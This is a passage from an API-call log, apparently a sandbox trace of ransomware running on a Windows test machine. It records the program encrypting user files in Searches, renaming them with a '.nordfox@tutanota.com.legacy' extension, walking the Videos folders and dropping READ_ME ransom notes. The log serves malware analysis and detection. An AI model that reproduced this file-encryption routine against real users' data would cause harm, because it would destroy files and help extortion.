lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.400] CloseHandle (hObject=0x608) returned 1 [0113.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0113.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0113.400] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), lpNewFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0113.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0113.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0113.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0113.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0113.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0113.402] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", dwFileAttributes=0x80) returned 1 [0113.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0113.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7b80 [0113.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0113.403] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0113.403] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=248) returned 1 [0113.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf8) returned 0x5646a8 [0113.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf8) returned 0x5647a8 [0113.403] ReadFile (in: hFile=0x608, lpBuffer=0x5646a8, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0xf8, lpOverlapped=0x0) returned 1 [0113.405] SetFilePointer (in: hFile=0x608, lDistanceToMove=-248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.406] WriteFile (in: hFile=0x608, lpBuffer=0x5647a8*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5647a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf8, lpOverlapped=0x0) returned 1 [0113.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5647a8 | out: hHeap=0x520000) returned 1 [0113.406] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf8 [0113.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.406] WriteFile (in: hFile=0x608, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.406] WriteFile (in: hFile=0x608, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.407] CloseHandle (hObject=0x608) returned 1 [0113.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0113.407] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), lpNewFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7b80 | out: hHeap=0x520000) returned 1 [0113.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0113.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0113.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0113.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0113.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0113.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0113.417] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0113.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.418] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0113.418] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=524) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20c) returned 0x5646a8 [0113.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20c) returned 0x52f438 [0113.418] ReadFile (in: hFile=0x608, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x20c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x20c, lpOverlapped=0x0) returned 1 [0113.419] SetFilePointer (in: hFile=0x608, lDistanceToMove=-524, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.419] WriteFile (in: hFile=0x608, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20c, lpOverlapped=0x0) returned 1 [0113.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0113.419] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20c [0113.419] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.419] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.420] WriteFile (in: hFile=0x608, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.421] WriteFile (in: hFile=0x608, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.421] CloseHandle (hObject=0x608) returned 1 [0113.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0113.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0113.422] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Searches\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0113.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0113.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0113.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f20 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0113.424] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\SendTo\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0xffffffff [0113.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0113.424] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Start Menu\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0xffffffff [0113.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567230 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0113.424] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Templates\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0xffffffff [0113.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0113.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0113.424] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9461f3b2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd20e050e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6358 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0113.425] GetLastError () returned 0x5 [0113.425] SetLastError (dwErrCode=0x5) [0113.425] GetLastError () returned 0x5 [0113.425] SetLastError (dwErrCode=0x5) [0113.425] GetLastError () returned 0x5 [0113.425] SetLastError (dwErrCode=0x5) [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6458 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6458 | out: hHeap=0x520000) returned 1 [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0113.425] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9461f3b2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd20e050e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0113.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0113.425] GetLastError () returned 0x5 [0113.426] SetLastError (dwErrCode=0x5) [0113.426] GetLastError () returned 0x5 [0113.426] SetLastError (dwErrCode=0x5) [0113.426] GetLastError () returned 0x5 [0113.426] SetLastError (dwErrCode=0x5) [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0113.426] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d30160, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x4db043d0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0x4db043d0, ftLastWriteTime.dwHighDateTime=0x1d4d470, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="-pkIr 0gswkCHrf_", cAlternateFileName="-PKIR0~1")) returned 1 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0113.426] GetLastError () returned 0x5 [0113.426] SetLastError (dwErrCode=0x5) [0113.426] GetLastError () returned 0x5 [0113.426] SetLastError (dwErrCode=0x5) [0113.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0113.427] GetLastError () returned 0x5 [0113.427] SetLastError (dwErrCode=0x5) [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0113.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0113.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0113.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0113.427] GetLastError () returned 0x5 [0113.427] SetLastError (dwErrCode=0x5) [0113.427] GetLastError () returned 0x5 [0113.427] SetLastError (dwErrCode=0x5) [0113.428] GetLastError () returned 0x5 [0113.428] SetLastError (dwErrCode=0x5) [0113.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0113.428] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0113.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0113.428] WriteFile (in: hFile=0x60c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0113.429] CloseHandle (hObject=0x60c) returned 1 [0113.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0113.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0113.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.429] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce36070, ftCreationTime.dwHighDateTime=0x1d4d196, ftLastAccessTime.dwLowDateTime=0x185b3c00, ftLastAccessTime.dwHighDateTime=0x1d4cd7f, ftLastWriteTime.dwLowDateTime=0x185b3c00, ftLastWriteTime.dwHighDateTime=0x1d4cd7f, nFileSizeHigh=0x0, nFileSizeLow=0x129e4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9BMwU.avi", cAlternateFileName="")) returned 1 [0113.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.430] GetLastError () returned 0x0 [0113.430] SetLastError (dwErrCode=0x0) [0113.430] GetLastError () returned 0x0 [0113.430] SetLastError (dwErrCode=0x0) [0113.430] GetLastError () returned 0x0 [0113.430] SetLastError (dwErrCode=0x0) [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0113.430] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f54eeb0, ftCreationTime.dwHighDateTime=0x1d4d0a9, ftLastAccessTime.dwLowDateTime=0xcc049c90, ftLastAccessTime.dwHighDateTime=0x1d4cc19, ftLastWriteTime.dwLowDateTime=0xcc049c90, ftLastWriteTime.dwHighDateTime=0x1d4cc19, nFileSizeHigh=0x0, nFileSizeLow=0xbba6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bFSomikRWvtTr8H3PYId.mp4", cAlternateFileName="BFSOMI~1.MP4")) returned 1 [0113.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0113.430] GetLastError () returned 0x0 [0113.430] SetLastError (dwErrCode=0x0) [0113.430] GetLastError () returned 0x0 [0113.430] SetLastError (dwErrCode=0x0) [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0113.430] GetLastError () returned 0x0 [0113.430] SetLastError (dwErrCode=0x0) [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0113.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0113.430] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.431] GetLastError () returned 0x0 [0113.431] SetLastError (dwErrCode=0x0) [0113.431] GetLastError () returned 0x0 [0113.431] SetLastError (dwErrCode=0x0) [0113.431] GetLastError () returned 0x0 [0113.431] SetLastError (dwErrCode=0x0) [0113.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.431] RtlAllocateHeap 